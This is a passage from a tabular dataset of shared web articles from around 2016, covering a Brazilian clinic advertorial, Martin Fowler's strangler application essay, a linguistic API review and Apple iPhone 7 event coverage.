cloud computing por tipo de nuvem para 20 indústria em 54 países.",pt
1473218697,CONTENT SHARED,8254285966695461849,-2820994773540913369,2282982856401888673,,,,HTML,http://oglobo.globo.com/esportes/caminhos-para-o-futuro/dr-consulta-uma-revolucao-no-setor-da-saude-20062855,Dr. consulta: uma revolução no setor da saúde,"Detalhe da fachada da unidade Teodoro - Renique Alves A mato-grossense Rosa Maria Pereira tem 47 anos e, por ser portadora de microcistos nos seios, faz exames rotineiros de mamografia, a fim de monitorar o problema. Semana passada, ela agendou o procedimento no Centro Médico Metrô Faria Lima - Teodoro, da rede dr.consulta - empresa de impacto social que tem como objetivo oferecer serviços de saúde de alta qualidade ao preço mais acessível possível. Como é enfermeira, Rosa conta que se entusiasmou com o fato de que o exame seria feito em um equipamento digital (de uma marca de reconhecimento mundial, a GE) e, ainda, por um valor abaixo do praticado no mercado. - O mamógrafo digital é mais confortável que o aparelho convencional e, por oferecer uma melhor resolução, permite visualizar a estrutura das mamas de uma maneira mais precisa - explica ela, acrescentando que, dessa forma, o médico teria recursos para um diagnóstico mais apurado. - Por trabalhar na área, sei de casos de mulheres que deixam de fazer esse exame tão importante, justamente por causa do desconforto dos equipamentos não digitais - afirma. Este depoimento ilustra um dos milhares de casos de pacientes que vêm experimentando os efeitos de uma verdadeira revolução no setor da saúde no Brasil, que atende pelo nome de dr.consulta. Milhares, mesmo, já que o dr.consulta realiza cerca de 55 mil atendimentos por mês, com uma rede de 600 médicos. Criada em 2011, com um primeiro centro médico em Heliópolis, na zona sul de São Paulo, é uma rede que, só este ano, em plena crise financeira do país, abriu oito novas unidades, totalizando 20 na capital e na região do ABCD. - Nossa ideia é ampliar o número de unidades na Grande São Paulo, sempre em locais de fácil acesso e trabalhando com parceiros altamente tecnológicos, como é o caso da GE, e médicos muito capacitados, vinculados a centros de referência - adianta Marcos Fumio, vice-presidente médico da rede. Recepção da unidade Teodoro: consultas com hora marcada e sem grandes filas de espera - Renique Alves Esqueça aquela ideia de salas de espera abarrotadas, confusão de senhas, gente reclamando, barulho excessivo e atendentes pouco interessados em desempenhar corretamente suas funções. Na rede dr.consulta, o que chama a atenção, logo de cara, é a organização do local. Ao entrar, você encontra um totem onde imprime sua senha, de acordo com o atendimento que pré-agendou (por telefone, pelo site da empresa ou, ainda, por um aplicativo) e espera ter seu nome (e não só o número da senha) exibido no painel, que é acompanhado de um monitor onde são veiculadas dicas para prevenção de doenças. Também é possível ir direto a uma unidade. Em ambos os casos, é só escolher a especialidade da consulta ou exame e fazer um breve cadastro. Detalhe: isso tudo, muitas vezes, pode ser feito no mesmo dia, inclusive no domingo, já que algumas unidades funcionam durante os finais de semana. - Nossa meta é que, da retirada da senha até a saída, no pós-atendimento, o usuário gaste 56 minutos - reforça Fumio. Ou seja, é atendimento com hora marcada, mesmo. E com tempo para começar e terminar, o que não é comum. Assim, o paciente economiza tempo e recursos. Mais de 40 especialidades estão disponíveis no dr.consulta, que conta com médicos ligados aos principais hospitais de São Paulo, como Sírio-Libanês e Albert Einstein. Os profissionais são constantemente avaliados e não podem ter nota (dada pelos próprios pacientes, via sms) menor que 9, na média. - Hoje, a nota dos médicos está em 9,6 e a do atendimento em 9,5 - diz o executivo, que recebe, diariamente, cinco currículos de candidatos. - Tem fila de espera de profissionais interessados em trabalhar com a gente, o que é muito bom, comenta, acrescentando que o time todo já conta com mais de mil colaboradores. Só conseguimos oferecer um atendimento de qualidade porque, além de trabalhar com profissionais e equipamentos de alto padrão, aprendemos a lidar com estruturas enxutas, processos administrativos sem exageros e uso de tecnologia para garantir a eficiência do sistema - completa Fumio. Marcos Fumio, vice-presidente médico da rede dr. consulta - Renique Alves O preço é outro diferencial. As consultas, que custam entre R$ 60 e R$ 135, podem ser parceladas em até dez vezes, sem cobrança de taxas ou mensalidades. E o dr.consulta oferece também exames e alguns procedimentos cirúrgicos. Com isso, as cerca de 2 milhões de pessoas que perderam seu plano de saúde no último ano e meio, de acordo com a Agência Nacional de Saúde Suplementar (ANS), - o qual, muitas vezes, é vinculado ao emprego - têm nos serviços da rede uma boa alternativa ao SUS. É o caso da babá Sarah Souza Araújo, de 23 anos. Ela tomou conhecimento do dr.consulta pela internet, fez um agendamento e se surpreendeu com a facilidade para ser atendida. - Foi muito mais fácil do que eu pensava. Não tem aquela burocracia nem a espera que a gente vê no sistema de um plano de saúde - elogia ela, que, além de passar pela consulta médica, já saiu de lá com exames agendados para dali a poucos dias pela área de pós-consulta. Na rede, é possível agendar com rapidez exames de laboratório ou imagem e consultas em especialidades como ginecologia, oftalmologia, cardiologia, dermatologia e otorrinolaringologia. Ainda na comparação com os planos de saúde, existe um dado curioso: 20% dos pacientes possuem plano e recorrem ao dr.consulta para ter acesso a um especialista ou procedimento dentro de um prazo mais curto, sem aguardar semanas ou até meses por um horário com um médico ou a realização de um exame. Dependendo do caso, o exame pode ser realizado no mesmo dia da consulta, porque, além dos consultórios, as unidades do dr.consulta têm salas dedicadas a esses e outros procedimentos. A rede tem salas dedicadas a realização de exames e outros procedimentos - Renique Alves Todo o sistema da rede é digital, o que influencia não só no atendimento, já que o agendamento é controlado por um sofisticado conjunto de algoritmos similar ao utilizado pelas companhias aéreas, para não haver gargalos no embarque de passageiros nos aeroportos, como no armazenamento de dados. - Aqui, o prontuário é eletrônico. Assim, a cada consulta, o paciente não precisa contar seu histórico para o médico, porque ele tem à disposição a ficha do paciente. Isso se traduz em economia de tempo que, então, é dedicado ao atendimento, suprimindo uma queixa comum na saúde brasileira, a de que muitos médicos mal têm tempo de olhar nos olhos do paciente - comenta Marcos Fumio. Outra boa notícia é que essas informações já estão sendo usadas para monitorar o estado de saúde das pessoas, a médio e longo prazo, gerando ações de prevenção de doenças. - Não somos um pronto-socorro nem um plano de saúde. Nosso propósito é que o médico faça um atendimento ao longo da vida do paciente, e não só episódico, olhando pelo seu bem-estar de forma geral - observa o executivo. No fim das contas, como se pode ver, não tem mistério. O dr.consulta é uma prova de que serviços médicos de qualidade podem estar ao alcance de todos, desafiando a ideia de que o acesso à saúde qualificada é algo caro ou inatingível no país. conteúdo de responsabilidade do anunciante",pt
1473276480,CONTENT SHARED,-5446204508747882127,5127372011815639401,-468470094905372100,,,,HTML,http://www.martinfowler.com/bliki/StranglerApplication.html,bliki: StranglerApplication,"application architecture · legacy rehab tags: When Cindy and I went to Australia, we spent some time in the rain forests on the Queensland coast. One of the natural wonders of this area are the huge strangler vines. They seed in the upper branches of a fig tree and gradually work their way down the tree until they root in the soil. Over many years they grow into fantastic and beautiful shapes, meanwhile strangling and killing the tree that was their host. This metaphor struck me as a way of describing a way of doing a rewrite of an important system. Much of my career has involved rewrites of critical systems. You would think such a thing as easy - just make the new one do what the old one did. Yet they are always much more complex than they seem, and overflowing with risk. The big cut-over date looms, the pressure is on. While new features (there are always new features) are liked, old stuff has to remain. Even old bugs often need to be added to the rewritten system. An alternative route is to gradually create a new system around the edges of the old, letting it grow slowly over several years until the old system is strangled. Doing this sounds hard, but increasingly I think it's one of those things that isn't tried enough. In particular I've noticed a couple of basic strategies that work well. The fundamental strategy is EventInterception , which can be used to gradually move functionality to the strangler and to enable AssetCapture . My colleague Chris Stevenson was involved in a project that did this recently with a great deal of success. They published a first paper on this at XP 2004 , and I'm hoping for more that describe more aspects of this project. They aren't yet at the point where the old application is strangled - but they've delivered valuable functionality to the business that gives the team the credibility to go further. And even if they stop now, they have a huge return on investment - which is more than many cut-over rewrites achieve. The most important reason to consider a strangler application over a cut-over rewrite is reduced risk. A strangler can give value steadily and the frequent releases allow you to monitor its progress more carefully. Many people still don't consider a strangler since they think it will cost more - I'm not convinced about that. Since you can use shorter release cycles with a strangler you can avoid a lot of the unnecessary features that cut over rewrites often generate. There's another important idea here - when designing a new application you should design it in such a way as to make it easier for it to be strangled in the future. Let's face it, all we are doing is writing tomorrow's legacy software today. By making it easy to be strangled in the future, you are enabling the graceful fading away of today's work. reposted on 30 Jun 2014",en
1473278330,CONTENT SHARED,8065912276310959188,-1443636648652872475,-137694428851400677,,,,HTML,https://www.linkedin.com/pulse/google-nli-kill-market-linguistic-apis-review-yuri-kitin,Will Google NLI kill the market? Linguistic APIs review,"Google has recently launched a new beta product - Google Cloud Natural Language API. As a rule, any new product by Google makes the company's rivals get in a slight panic. What major players are to expect in the Natural Language area? Does it mean the end of free competition in the linguistic API market and dictatorship by ""The good corporation""? However, if we are to compose a list of other players in this sphere, a fear for Google's dominance will disappear. Apart from major players, this top also features small companies that are notable for their flexibility and attention to customers' needs. Let's take a look at major API providers and mull over their peculiarities. 1) Alchemy IBM . AlchemyAPI's text analysis service started its existence in 2009. AlchemyLanguage provides for several API servers that analyze texts and define meta-data, including entities, sentiments, keywords, concepts, and relations between sentence components (nouns, verbs, subjects, objects, etc.), authors, and more. Beside English, Alchemy IBM supports other 7 languages (German, Spanish, French, Italian, Portuguese, Swedish, and Russian). This Academy seems kind of an incubator for young and promising projects. Many companies started functioning after getting free access to this API within the Watson development platform. Nevertheless, a high price for its usage in commercial projects push many customers to search for alternative APIs. 2) Microsoft Cognitive Services based on Project Oxford and Bing and launched in March, 2016, offer a range of APIs for text analysis, including sentiment analysis (English, Spanish, French, and Portuguese), key phrases extraction (English, German, Spanish, and Japanese), detection of topics for a list of submitted text records (minimum 100) and language recognition. 3) Google Natural Language API . A beta version of this API service became available in July, 2016. For now, users can only relish basic tools: sentiment analysis (English), entity recognition, and syntax analysis (English, Spanish, and Japanese). The service is already available on the paid basis. 4) Intellexer API is a recently launched cloud semantic server (January, 2016). EffectiveSoft - software company (based in San Diego, USA, and Minsk, Belarus) has been dealing with elaborating semantic tools (Intellexer SDK) and custom solutions since 2003. For today, Intellexer offers a full range of tools to analyze English texts. The features Intellexer provides for can be checked via user-friendly demos . Except the API, another semantic product, Intellexer Summarizer, is available in the user's account. Intellexer also is available in form of SDK and some desktop and mobile Apps. 5) TextRazor (created in London, UK, in 2011) is a Text Analytics/Natural Language Processing API that offers entity recognition/linking, relation/property extraction, automatic categorization and topic tagging. This API supports entity recognition, disambiguation, linking and topic detection for texts in English, Dutch, French, German, Italian, Polish, Portuguese, Russian, Spanish, and Swedish. TextRazor's peculiarity consists in linking entities to DBPedia and Wikipedia. 6) Aylien (Dublin, Ireland) has been also functioning since 2011. Its API can boast sentiment analysis (both aspect-based and document-level), entity and concept extraction, document summarization, classification by taxonomy (using pre-defined taxonomies), semantic labeling, language detection, text extraction, related phrases suggestion, etc. Furthermore, Aylien API supports English, French, German, Italian, Portuguese, and Spanish. 7) Another company's API worth mentioning is Semantria Lexalytics (Boston, USA). The organization launched a cloud text-analyzing API in 2012. Its key text analysis features involve entity extraction, categorization, summarization, sentiment analysis, etc. The API supports 22 languages, including Arabic, Japanese, Chinese, and Turkish. 8) The top-5 is closed by Indico (Boston, USA). This startup was established in 2013, coming out of TechStars Boston . They call themselves a group of innovators whose aim is to revolutionize software through machine learning. Indico Text Analysis comprises sentiment analysis at the document level (demo supports only English), topic detection, keyword extraction, named entity recognition. 9) Heaven on Demand is a service developed by Hewlett Packard Enterprise in 2014. It supplies a number of APIs, including APIs for text analysis, i.e. document classification, concept and entity extraction, document categorization, language identification, sentiment analysis, etc. 10) Meaning Cloud is a service launched by a Spanish company Daedalus in February, 2015; it's a continuation of the previous company's product - Textalytics. It supports text analysing in 5 languages: English, Spanish, French, Portuguese, and Italian. Conclusion As we can see, linguistic APIs by Google's rivals have no serious reasons to worry, as the corporation has just presented the product first version that doesn't differ much against the background of other technologies. All in all, users are those who win in this case. At their disposal there are various competing products, so they can relish affordable prices and high-quality tools. This table highlights semantic APIs possibilities by different companies and features their prices.",en
1473284083,CONTENT SHARED,-2090760089450762391,-709287718034731589,2818896258734277400,,,,HTML,https://9to5mac.com/2016/09/07/apple-unveils-iphone-7/,"Apple unveils the new iPhone 7, preorder now, available 9/16","Apple just unveiled the new iPhone 7 on Twitter during its event in San Francisco today. Head below for a first look at the first and the rundown specs, features, pricing and availability... There was some speculation on what the device would be called leading up to Apple's event, but Apple has now made the ""iPhone 7"" branding official. Check back for pricing and availability details as Apple continues its event.",en
1473284122,CONTENT SHARED,-55755961199248325,-709287718034731589,2818896258734277400,,,,HTML,http://www.macrumors.com/2016/09/07/apple-wireless-airpods/,Apple Debuts Wireless 'AirPods' With 5 Hours of Music Playback,"Apple today announced a new pair of wireless ""AirPods,"" which provide up to 5 hours of music playback and high-quality sound through a ""seamless and automatic connection"" between the headphones and an Apple device. The AirPods include a battery case that delivers up to 24 hours of battery life. The company also showcased a pair of new, lightning-connected EarPods at the media event in San Francisco. These wired headphones will be included in the box for the iPhone 7 and iPhone 7 Plus, along with a Lightning-to-3.5mm headphone adapter.",en
1473284152,CONTENT SHARED,-169274570747753943,-709287718034731589,2818896258734277400,,,,HTML,http://www.macrumors.com/2016/09/07/apple-watch-series-2-swimproof/,Apple Announces Swimproof 'Apple Watch Series 2' With Built-In GPS,"Apple today announced the second generation Apple Watch , which it's calling ""Series 2,"" confirming a handful of previously rumored features on the wearable device. Series 2 is swimproof and water resistant up to 50 meters, so users can ""wear their watch with confidence in the water."" In addition to its water resistance, Series 2 has a second-generation display that is 2x brighter than the original generation Apple Watch, making it easier to read in bright sunlight. The company also confirmed that Series 2 has built-in GPS so users can get more accurate pace and distance readouts during running workouts. Stay tuned for more updates on Apple Watch Series 2.",en
1473284177,CONTENT SHARED,-7448252416950961815,-709287718034731589,2818896258734277400,,,,HTML,http://www.macrumors.com/2016/09/07/apple-unveils-iphone-7-and-7-plus/,Apple Unveils iPhone 7 Alongside 7 Plus With Dual-Lens Camera,"Apple today announced the 4.7-inch iPhone 7 and 5.5-inch iPhone 7 Plus at its ""See You on the 7th"" media event in San Francisco. The new iPhones feature an A10 Fusion 64-bit processor, stereo speakers on opposite ends of the device, a flush Force-sensitive home button with a taptic feedback engine, and IP67-standard water and dust resistance - but no headphone jack. Wired Lightning in-ear EarPod headphones and a Lightning to 3.55mm adapter are included in the box. Apple is offering Siri -connected wireless earbuds called AirPods as a separate accessory. The iPhone 7 features a faster, more energy efficient 12-megapixel rear-facing camera with optical image stabilization, six-element f/1.8 aperture lens, an artificial light compensating flicker sensor, Quad-LED Two Tone flash, and enhanced tone mapping. The device also has a 7-megapixel front-facing FaceTime HD camera with wide color capture and auto-image stabilization. The iPhone 7 Plus differentiates itself from the 4.7-inch handset with a dual-lens 12-megapixel camera featuring all the same features, but is much more advanced, including a wide-angle lens and a separate telephoto lens that combine to create 2x optical zoom and 10x digital zoom features. The ISP dual-lens camera is also capable of producing live shallow depth of field shots and 'bokeh' effects in preview mode. Depth of field shot taken with the iPhone 7 Plus dual-lens camera The smartphones are crafted from anodized aluminum and have a stainless steel Apple logo, and come in a new glossy jet black color, as well as simple ""black"" (with a black Apple logo) alongside silver, gold and rose gold. The antenna bands are aligned along the edges of the handsets, instead of across the rear like on the previous models, and the volume buttons are positioned directly on the side of the handset (as opposed to inside a recess as per the iPhone 6s and 6s Plus). Both devices also benefit from a 25 percent brighter ""cinema standard"" Retina HD display, wider color gamut, improved color management, and 3D Touch . Audio has also been improved with the new speakers, which include increased volume and better dynamic range. The A10 Fusion four-core processor powering the two devices delivers up to 40% faster CPU performance, up to 50% faster graphics performance, and better efficiency compared to the A9 chip inside the iPhone 6s and iPhone 6s Plus. Both the new smartphones come with improved battery life, and the improved water resistance means the iPhones stand up to splashing and even short periods of immersion in water.",en
1473284297,CONTENT SHARED,5474373819153295408,-709287718034731589,2818896258734277400,,,,HTML,http://www.cultofmac.com/444540/macos-sierra-will-launch-september-20th/,macOS Sierra will launch on September 20th | Cult of Mac,"Photo: Ste Smith/Cult of Mac Apple didn't reveal any new MacBook Pros or iMacs at today's iPhone-focused keynote, but the company's next big software update for Macs finally got an official release date. macOS Sierra will be available to all Mac owners as free update starting on September 20th , just one week after the launch of iOS 10, watchOS 3 and tvOS 10. The huge update brings a number of new features to Macs, including support for Siri, unlocking via Apple Watch, better file syncing with iCloud, a universal clipboard and much more.",en
1473332008,CONTENT SHARED,7906867252266782644,-709287718034731589,-5265577584386435160,,,,HTML,https://www.buzzfeed.com/johnpaczkowski/inside-iphone-7-why-apple-killed-the-headphone-jack,Inside The iPhone 7: Why Apple Killed The Headphone Jack,"Apple VP Greg Joswiak is grinning as he holds up what is easily the smallest iPhone adapter I have ever seen. iPod white and about the length of a matchstick, it's designed to connect audio headphones with an industry standard 3.5-millimeter analog plug to the Lightning port on Apple's newest iPhone, which no longer bears the industry standard jack they require to work. ""This time, we're putting an adapter in every box,"" Joswiak quips, a wry nod to the backlash evoked in 2012 the last time Apple killed a widely used iPhone port - a move that rendered thousands of peripherals designed to interact with it incompatible without a $29 adapter , and pissed off legions of people in the process . Apple is no stranger to killing things people use all the time - and even love. But the headphone jack? It's on a whole other level than disc drives or ports named after their number of pins. The headphone jack predates not only Apple, but computers themselves. And it is ubiquitous. So, when you're killing a century-old standard around which the entire audio industry developed, it's wise to take precautions. Invented for use with telephone switchboards in the late 1800s, the audio jack is among the oldest existing electrical standards. Originally 6.35-millimeter in width, it was reduced to 3.5-millimeter in the '60s, a transformation that made it pervasive across most every piece of electronic audio equipment you can think of - home stereos, car stereos, camcorders, guitar amps, laptops, airplane entertainment systems, cochlear implants, smartphones, and - until today - the iPhone. Apple is arguing that the future of audio is wireless, that the world's current assumptions about mobile audio are not only antiquated, but worthy of immediate abandonment. In a world of Spotify and Sonos, it's tough to disagree. But right now that future comes with a price: You've got to leave behind the perfectly good headphones you own and you've got to purchase the new wireless ones as an iPhone accessory. It's up to Apple to make the case that this is a worthwhile exchange. ""It's a dinosaur. It's time to move on."" ""The audio connector is more than 100 years old,"" Joswiak says. ""It had its last big innovation about 50 years ago. You know what that was? They made it smaller. It hasn't been touched since then. It's a dinosaur. It's time to move on."" Perhaps, but ""if not now, when"" is hardly a good argument when there are two pairs of reasonably high-end headphones in my desk that require that connector and every audio device I own has a 3.5-millimeter port. So does my car. And my laptop. The last plane I flew on. The alarm clock in my hotel. Microphones. Speakers. Baby monitors. Audio equipment and accessories purchased in every stage of my life. Everything. That little jack is in everything. Historically, Apple has been pretty savvy about moving away from legacy standards and adopting new technology. Historically, this has been because whatever new tech Apple has adopted has delivered value orders of magnitude greater than whatever it replaced. Many have pointed to the floppy drive as a previous example of Apple's willingness to kill off a widely used standard to make way for the future. But the thing is, when Apple scrapped the iMac's floppy drive, the floppy disc was ferociously inadequate as a storage solution and in obvious need of replacement. The 3.5-millimeter audio jack, however, is neither inadequate nor in obvious need of replacement. Sure, it is certainly dusty. But it is widely used and unencumbered by patents. You don't have to pay anyone to use it. The signal it transmits doesn't need to be decoded. And because it is an analog and not a digital standard, it cannot be locked down with digital rights management (DRM). Like the AC power socket adorning the walls of our homes, the headphone jack is a dumb interface. In Apple parlance, ""it just works."" Buy a pair of headphones - from an audiophile store or an airport vending machine - and plug them into a headphone jack and you'll likely hear whatever it is you were planning on listening to. So why send it off for a dirt nap? For Dan Riccio, Apple's senior vice president of hardware engineering, the iPhone's 3.5-millimeter audio jack has felt something like the last months of an ill-fated if amicable relationship: familiar and comfortable, but ultimately an impediment to a better life ahead. ""We've got this 50-year-old connector - just a hole filled with air - and it's just sitting there taking up space, really valuable space,"" he says. Riccio has been at Apple since 1998, and he has had a hand in most all of the company's marquee hardware. He's fully on board with the company's wireless narrative, as well: ""In a world of mobile and cellular connectivity, the one wired vestige out there is this cable hanging from people's ears to their phones - why?"" he asks. But he's far more interested in the ripple effect of advancements the removal of the audio jack set off in the iPhone. ""It was holding us back from a number of things we wanted to put into the iPhone,"" Riccio says. ""It was fighting for space with camera technologies and processors and battery life. And frankly, when there's a better, modern solution available, it's crazy to keep it around."" It's hard to imagine Apple's hardware design team hamstrung by a diminutive legacy port. But when you're dealing with a computing device with extraordinarily tight dimensional tolerances, there are bound to be challenges. Riccio spends a good 15 minutes explaining them. I'll try to do it in two. A tentpole feature of the new iPhones are improved camera systems that are larger than the cameras in the devices that preceded them. The iPhone 7 now has the optical image stabilization feature previously reserved for its larger Plus siblings. And the iPhone 7 Plus has two complete camera systems side by side - one with a fixed wide-angle lens, the other with a 2x zoom telephoto lens. At the top of both devices is something called the ""driver ledge"" - a small printed circuit board that drives the iPhone's display and its backlight. Historically, Apple placed it there to accommodate improvements in battery capacity, where it was out of the way. But according to Riccio, the driver ledge interfered with the iPhone 7 line's new larger camera systems, so Apple moved the ledge lower in both devices. But there, it interfered with other components, particularly the audio jack. So the company's engineers tried removing the jack. In doing so, they discovered a few things. First, it was easier to install the ""Taptic Engine"" that drives the iPhone 7's new pressure-sensitive home button, which, like the trackpads on Apple's latest MacBook, uses vibrating haptic sensations to simulate the feeling of a click - without actually clicking. (Did we mention that Apple killed the physical home button too?) Taptic Engine vibrations will also be used to deliver feeling specific notifications - hitting the end of a scrolled page, for example. And because Apple has given developers an API for it, an awful lot of other stuff as well - particularly in games. ""You can't make it feel like there's an earthquake happening, but the range of customization lets you do an awful lot,"" Apple SVP Phil Schiller explains. ""With every project there are things that surprise you with the meaning they take on as you start to use them. The Taptic Engine API is one of them. It turned into a much bigger thing than we ever thought it would be. It really does transform the experience for a lot of software. You'll see."" Second, there was an unforeseen opportunity to increase battery life. So the battery in the iPhone 7 is 14% bigger than the one in its predecessor, and in the iPhone 7 Plus, it's 5% bigger. In terms of real-world performance gains, that's about an additional two hours and one hour, respectively. Not bad. Even better, removing the audio jack also eliminated a key point of ingress that Riccio says helped the new iPhone finally meet the IP7 water resistance spec Apple has been after for years (resistant when immersed under 1 meter of water for 30 minutes). The 3.5-millimeter audio jack has been headed to its inevitable fate for some time now. If it wasn't the iPhone 7, it might have been the iPhone 8 (or, for that matter, the iPhone 6). In the end, it was simple math that did the audio jack in, a cost-benefit analysis that sorely disfavored a single-purpose Very Old Port against a wireless audio future, some slick new cameras, and the kind of water resistance that anyone who has ever dropped an iPhone in the toilet has long wished for. When you think about the iPhone, you probably think of it as a single gadget. So it's helpful to step back and realize that it contains an array of formerly distinct devices sandwiched together. When Steve Jobs introduced the original iPhone in 2007, he said that it wasn't one device, but three: ""a widescreen iPod with touch controls, a revolutionary mobile phone, and a breakthrough internet communications device."" And as it turns out, among the features people most care about in a high-end smartphone - enough so that Apple is willing to spend millions of advertising dollars to remind you of its dominance, and upend a decades-old standard - is the camera. ""End-to-end these camera systems are a massive jump in capability over the ones in the 6s,"" Schiller says when I observe that the iPhone 7 and 7 Plus have the same 12-megapixel cameras as their predecessors. He rattles off a list of camera geek specs to prove his point. They are faster, gather more light, have custom low-energy, high-performance chipsets and a bunch of near-future, gee-whiz stuff. Much of this is impenetrable: A slide in Apple's Wednesday keynote presentation proudly touts a new image signal processor's ability to calculate 100 billion operations in 25 milliseconds, for example. But it all comes together for me when I see a stunning un-retouched aerial shot of Coney Island that was, incredibly, shot on a phone. ""The new iPhones are crazy powerful,"" says Neill Barham, founder and CEO of Filmic, a highly regarded mobile video app for iOS. He's effusive in his praise, saying Apple's new A10 chip has brought a ""seismic"" improvement in video processing to the iPhone. He jokes that Stanley Kubrick probably would have loved the 7 Plus, though he concedes he probably wouldn't have shot Barry Lyndon with it. ""In layman's terms, the prior 6S/+ is like a sprinter: it can do a lot of work in a short amount of time,"" Barham offers. ""The 7, on the other hand, is more like a marathon runner, or better yet, a triathlete that can perform multiple processor intensive loads all day long."" At a small vineyard in the Santa Cruz Mountains far above Silicon Valley, a brief camera demo. Panoramas, portraits, Live Photos, close-ups, video of the vineyard dog that wanders into our group with a well-chewed tennis ball. To my nonprofessional photographer's eye, everything looks really good. The images are sharp, vibrant. The new wide color capture support Apple has built into the iPhone makes the orange of a California poppy appear psychedelic. On the iPhone 7 Plus, switching between the two side-by-side cameras is pretty much seamless; the changes between the wide and tele lens occur so quickly and smoothly you don't notice them. It feels like a single camera. With the zoom, I can just barely see pick-stitched lines of glue affixing a wine label to its bottle. A few months from now, Apple will roll out a software update that adds a new camera feature to the iPhone 7 Plus. It's called ""Portrait,"" and it basically creates a bokeh effect - a sharply detailed subject in the foreground set against a soft, out-of-focus background. Because both cameras in the 7 Plus can be run simultaneously, it can capture nine layers of depth from foreground to background. And it can display them in real time. So when you're in Portrait, you'll be able to see that bokeh effect and, crucially, whether it's worth using or not. ""Is it a better bokeh effect than the one you'd get with a Leica M and a 50-millimeter lens?"" Schiller said earlier. ""Of course not. But have you ever seen anything like it in a smartphone before?"" Nope. But a ""coming soon"" camera advancement isn't exactly the sort of tectonic smartphone innovation we've come to expect from Apple - though Apple CEO Tim Cook thinks the changes in this year's iPhone are pretty big. When I ask him if - after a run of tectonic innovations like FaceTime, Siri, and Touch ID - we've reached the point where we're starting to exhaust the innovation possible in the smartphone, he disagrees - diplomatically - with the premise of my question. ""Innovation is making things better,"" Cook says. ""If you step back and look at the things that are most important to iPhone users, it's the photos they take and the other stuff they use to build the diaries of their lives. So the camera updates, the software optimization that we've done, the increases in battery life, and then all the features in iOS 10? These things collectively are a huge advance forward."" Earlier this year, Apple's rumored plan to remove the headphone jack from the next iPhone was met with predictable outrage and apology, delivered from equally predictable soapboxes. (Nevermind that two other smartphone manufacturers had already released phones without the port.) The headphone jack is great for delivering audio, widely used, and unencumbered by patents and digital rights management, critics argued. Why remove it, leaving only an Apple-proprietary digital port that might in some dystopian future be locked down with the very DRM schemes that Steve Jobs bemoaned in his 2007 essay "" Thoughts on Music ""? Why provide a diminutive headphone jack adapter that will cost me $9 to replace when I inevitably lose it? Why allow even for the possibility of a scenario in which I cannot play a song that I own, whether it be because of copy protection lockdown or a ""This accessory has not been certified by Apple"" error? How does Apple respond to critics who've described removing the headphone jack from the iPhone as "" user-hostile ""? ""That's pure, paranoid conspiracy theory."" Schiller thinks it's a silly argument. ""The idea that there's some ulterior motive behind this move, or that it will usher in some new form of content management, it simply isn't true,"" he says. ""We are removing the audio jack because we have developed a better way to deliver audio. It has nothing to do with content management or DRM - that's pure, paranoid conspiracy theory."" For what it's worth, USB audio has allowed for copy protection since the mid-2000s, and according to Abdul Ismail, USB-IF CTO and principal engineer at Intel, the recording industry guys don't really use it. ""Audio content owners are a lot more comfortable with not requiring copy protection,"" he says. ""It has been almost a decade since iTunes started selling DRM-free music, and illegal file sharing hasn't been rampant."" Beyond that, Lightning is a good portable high-fidelity audio solution. It's a powered connection, so it can support things like noise cancellation in headphones that typically require batteries, and because it's digital, it can provide a lot of granular control over the frequency response and whatnot (Audeze makes a pair of Lightning headphones with a 10-band EQ of -10 to +10 decibels for each band). But that's not the argument Apple is making. Remember, the future of audio is wireless. And while the company might be giving every iPhone 7 owner a pair of Lightning EarPods (and an adapter!), what it really wants is for them to buy a pair of wireless AirPods. ""It's unbelievable to me still how much stuff we were able to cram in there,"" says John Ternus, vice president of Mac, iPad, ecosystem, and audio engineering at Apple. ""We do a lot of products that are just packed with technology, but these are arguably the most densely packed products we've ever made. There is NO wasted space. NONE."" Ternus is referring to Apple's new wireless AirPod headphones, and, according to the X-ray slide I saw earlier in the day, he's not exaggerating. Inside each AirPod, there is an Apple W1 wireless chip (the company's first), two accelerometers, two optical sensors, two beam-forming microphones, an antenna, and an incredibly small battery that can power it for five hours (listening; talk time is two hours), plus another three hours with a short 15-minute boost from a diminutive Lightning-based charging case. (""We were really focused on power efficiency,"" Ternus says. ""Maniacally focused."") But so what? They sound great. And they should, because Apple wants you to pay $159 for them when they ship in late October. They've got a thoughtful buttonless design that relies on double taps and Siri commands to skip songs or make phone calls. And the process through which you pair them to the iPhone is about as dead simple and intuitive as it gets. Once you've paired your AirPods with your iPhone, Apple uses your iCloud account to pair them with your other Apple devices. Untethered from one another by any cords, they are fully, independently wireless. And they'll work with anything running iOS 10, Watch OS 3, or MacOS Sierra. AirPods use Bluetooth for their connection. Bluetooth headphones have historically suffered from a conga line of connectivity problems: onerous pairing, dropped connections, crappy sound. Apple is confident it's solved them all with that W1 chip. ""As you can imagine, by developing our own Bluetooth chip and controlling both ends of the pairing process there's a lot of magic we can do,"" Ternus says. ""We use a Bluetooth connection, but cover it in a lot of secret sauce."" ""These are as advanced a project as Apple Pencil"" Just what's in the secret sauce, Apple won't say. But AirPods have been in development for a while. ""These are as advanced a project as Apple Pencil,"" Schiller told me. ""We started this project when we started the Watch project. We knew we needed a great wireless solution for audio. We said, 'What if you could design what the future of headphones should look like?' That's we asked the team to do."" The combined promise of sound quality, a steady Bluetooth connection, the battery life, the voice control, and ease of pairing across devices, all free of wires - if it all works, these things do seem to provide value an order of magnitude greater than even the priciest wired buds. But it's also up to Apple to sell these things, to convince people that they want them. That's harder, but not impossible. Returning the AirPods to their dental floss dispenser-sized charging case, they slot into their cradles with a quiet, magnetized click. A tiny green light illuminates. Reflexively, the 12-year-old boy in me - the same one that still recalls a Micronaut action figure whose magnetized limbs made a similar noise - exclaims, ""Badass."" Blurted out more or less involuntarily, it's a tacit acknowledgment of that surprise-and-delight thing that Apple's still pretty good at evoking, and a reasonably apt two-syllable summary of the tech I've just seen. I know a longtime iPhone user who's something of an audiophile. He's spent a fair bit of money on high-end headphones over the years. The other day he told me that if the next iPhone doesn't have a headphone jack and there's a marquee Android phone available that does, he'll switch. He doesn't want Lightning headphones or wireless buds. And he doesn't want to carry an adapter. He just wants to use the headphones he likes. And he doesn't think he's alone. What would Apple's leadership say to someone like him? ""We do understand that this might be a difficult transition for some people who love their wired headphones,"" says Schiller. ""But the transition is inevitable. You've got to do it at some point. Sooner or later the headphone jack is going away. There are just too many reasons aligned against it sticking around any longer. There's a little bit of pain in every transition, but we can't let that stop us from making it. If we did, we'd never make any progress at all. The question we ask ourselves when making transitions like these is, have we done all the right things to mitigate it and to explain it and to make what's on the other side so good that everyone is happy with the change? We think we've done that."" And that's hardly an unreasonable answer. Remember, the iPhone 7 will come with Lightning headphones and an adapter for people who don't want to give up their existing headphones. Though their $159 price tag 